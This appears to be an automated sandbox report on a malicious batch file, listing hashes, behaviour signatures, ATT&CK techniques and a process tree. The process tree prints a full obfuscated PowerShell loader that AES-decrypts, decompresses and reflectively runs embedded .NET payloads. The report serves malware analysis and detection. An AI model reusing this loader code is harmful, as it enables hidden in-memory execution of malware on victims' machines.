Analysis

  • max time kernel
    48s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    31-05-2024 21:09

General

  • Target

    iguad5s.bat

  • Size

    2.3MB

  • MD5

    4b2a4b79e27f6dcbd8b9bc440bbf5ed1

  • SHA1

    d4cdd6ca2032e4bda033b45091934a43f54cac54

  • SHA256

    c5b08c3dbec0b169f328c5935a415fd061090781f82bbaa89647dfefe592217a

  • SHA512

    10e509f80cda74b7175bfbfbdf74c56b493cbe5d139d0049f9ff2a753012f9f358c6c623f697a6a39576f263dcb6e20acecb7d9d2bc56a6a9c1a68d8d79c920c

  • SSDEEP

    24576:7305XtI7lKGo2D8bcuEabiqmX6V1kesz4Y5dN2Kt3d3k+g3EaWQlztNIgQHauJW6:7YXtZWLSi82/g3vTQH5vQ8D3

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 55 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\iguad5s.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2484
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8EHdakdQxWYXgKssWRzTX5hCNvNc8ivOG9FZTDqxhsQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fyI6585TT9BIJM4lP0k6xA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CFJSF=New-Object System.IO.MemoryStream(,$param_var); $YGSqT=New-Object System.IO.MemoryStream; $VCKjZ=New-Object System.IO.Compression.GZipStream($CFJSF, [IO.Compression.CompressionMode]::Decompress); $VCKjZ.CopyTo($YGSqT); $VCKjZ.Dispose(); $CFJSF.Dispose(); $YGSqT.Dispose(); $YGSqT.ToArray();}function execute_function($param_var,$param2_var){ $ypEOO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $znkTU=$ypEOO.EntryPoint; $znkTU.Invoke($null, $param2_var);}$UKDhL = 'C:\Users\Admin\AppData\Local\Temp\iguad5s.bat';$host.UI.RawUI.WindowTitle = $UKDhL;$sqWUv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($UKDhL).Split([Environment]::NewLine);foreach ($xqQna in $sqWUv) { if ($xqQna.StartsWith('CiMFOfpQzkDfIljjLxoO')) { $ooNpe=$xqQna.Substring(20); break; }}$payloads_var=[string[]]$ooNpe.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      2⤵
        PID:2740
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2948
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      1⤵
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:2756
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef2519758,0x7fef2519768,0x7fef2519778
        2⤵
          PID:2632
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1164 --field-trial-handle=1244,i,13061810618712547356,16879137922544890426,131072 /prefetch:2
          2⤵
            PID:3024
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1504 --field-trial-handle=1244,i,13061810618712547356,16879137922544890426,131072 /prefetch:8
            2⤵
              PID:1804
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1616 --field-trial-handle=1244,i,13061810618712547356,16879137922544890426,131072 /prefetch:8
              2⤵
                PID:584
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2248 --field-trial-handle=1244,i,13061810618712547356,16879137922544890426,131072 /prefetch:1
                2⤵
                  PID:1360
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2256 --field-trial-handle=1244,i,13061810618712547356,16879137922544890426,131072 /prefetch:1
                  2⤵
                    PID:2856
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1576 --field-trial-handle=1244,i,13061810618712547356,16879137922544890426,131072 /prefetch:2
                    2⤵
                      PID:2296
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1580 --field-trial-handle=1244,i,13061810618712547356,16879137922544890426,131072 /prefetch:1
                      2⤵
                        PID:2124
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3432 --field-trial-handle=1244,i,13061810618712547356,16879137922544890426,131072 /prefetch:8
                        2⤵
                          PID:2012
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3552 --field-trial-handle=1244,i,13061810618712547356,16879137922544890426,131072 /prefetch:8
                          2⤵
                            PID:1072
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=3568 --field-trial-handle=1244,i,13061810618712547356,16879137922544890426,131072 /prefetch:1
                            2⤵
                              PID:1328
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4040 --field-trial-handle=1244,i,13061810618712547356,16879137922544890426,131072 /prefetch:8
                              2⤵
                                PID:1264
                              • C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe
                                "C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe" --reenable-autoupdates --system-level
                                2⤵
                                  PID:2336
                                  • C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe
                                    "C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x154,0x158,0x15c,0x128,0x160,0x13fe87688,0x13fe87698,0x13fe876a8
                                    3⤵
                                      PID:1548
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2720 --field-trial-handle=1244,i,13061810618712547356,16879137922544890426,131072 /prefetch:8
                                    2⤵
                                      PID:2868
                                  • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                                    "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                                    1⤵
                                      PID:2868

                                    Network

                                    MITRE ATT&CK Matrix ATT&CK v13

                                    Execution

                                    Command and Scripting Interpreter

                                    1
                                    T1059

                                    PowerShell

                                    1
                                    T1059.001

                                    Discovery

                                    Query Registry

                                    1
                                    T1012

                                    System Information Discovery

                                    1
                                    T1082

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1
                                      Filesize

                                      264KB

                                      MD5

                                      f50f89a0a91564d0b8a211f8921aa7de

                                      SHA1

                                      112403a17dd69d5b9018b8cede023cb3b54eab7d

                                      SHA256

                                      b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                                      SHA512

                                      bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                                      Filesize

                                      363B

                                      MD5

                                      ab9baccfb2373b683c9fec1e6769ad00

                                      SHA1

                                      e3b49be9664f5439261e4301c54dda83fef624ae

                                      SHA256

                                      735a77cde09addd60f13081baee2abb2852774cffb75fddf775cc6ea96e6a906

                                      SHA512

                                      0824424ec9b7d90bd6b748c0a1bca700994f37e3084b77033426c0ab10abfca2c8f782724d3e3f240877d23ea42a8531081204de2be900043004037536537374

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                      Filesize

                                      5KB

                                      MD5

                                      c72ccc60a5bcff51f1572d169175f658

                                      SHA1

                                      519173bca70d544713f414e43b7e22e311a73600

                                      SHA256

                                      c64f0bb8a55ad99db1c333c2d4b5e5463b971f747eebf05ebc5695aca8b0831d

                                      SHA512

                                      a98653de30403efe469b36d14ff3f450a31447331600ed0854fd6e3371638048f9d36645d68dc90107ce20e6527df12f5305db952f2b2ea6bb1d95d06780dcf1

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                      Filesize

                                      5KB

                                      MD5

                                      e151fe8dfd0475208044ba65b668930b

                                      SHA1

                                      d6613d313d0ccdf5b2d0fe1caa4a299e5134faa4

                                      SHA256

                                      42954f57311780a301f9202ff60e20715a6768f07271d712cf5a105f242f535d

                                      SHA512

                                      a80400dad5660b202d461ba317f05c24c2804e63029324994abb03a017ea8ce221f87c1d0733657f9f4846c1950ad70582253016f6530d183889dbcf72198496

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                      Filesize

                                      5KB

                                      MD5

                                      6eedf1a39c4229902ca12ffeb4c2bea1

                                      SHA1

                                      63b8825fa94ed573d047ae79e4e13aecc1b708cb

                                      SHA256

                                      cfde67d16e7c2bf62cd956b077228d2f274775705eb2ef8ffb8d73bf195b3b2c

                                      SHA512

                                      91ce36e557b8bacc0a6b717b71e868d9af57b5836f463955f12ff5d5674d91c09844d84aad358daae1d5eec76516273c180e1006972962d2e2b9e73180a731ea

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000007.dbtmp
                                      Filesize

                                      16B

                                      MD5

                                      18e723571b00fb1694a3bad6c78e4054

                                      SHA1

                                      afcc0ef32d46fe59e0483f9a3c891d3034d12f32

                                      SHA256

                                      8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

                                      SHA512

                                      43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

                                    • \??\pipe\crashpad_2756_XSOFRLDANGLSDDRH
                                      MD5

                                      d41d8cd98f00b204e9800998ecf8427e

                                      SHA1

                                      da39a3ee5e6b4b0d3255bfef95601890afd80709

                                      SHA256

                                      e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                      SHA512

                                      cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                    • memory/2948-8-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp
                                      Filesize

                                      9.6MB

                                    • memory/2948-12-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp
                                      Filesize

                                      9.6MB

                                    • memory/2948-11-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp
                                      Filesize

                                      9.6MB

                                    • memory/2948-10-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp
                                      Filesize

                                      9.6MB

                                    • memory/2948-52-0x000007FEF603E000-0x000007FEF603F000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/2948-9-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp
                                      Filesize

                                      9.6MB

                                    • memory/2948-4-0x000007FEF603E000-0x000007FEF603F000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/2948-6-0x00000000025E0000-0x00000000025E8000-memory.dmp
                                      Filesize

                                      32KB

                                    • memory/2948-7-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp
                                      Filesize

                                      9.6MB

                                    • memory/2948-5-0x000000001B230000-0x000000001B512000-memory.dmp
                                      Filesize

                                      2.9MB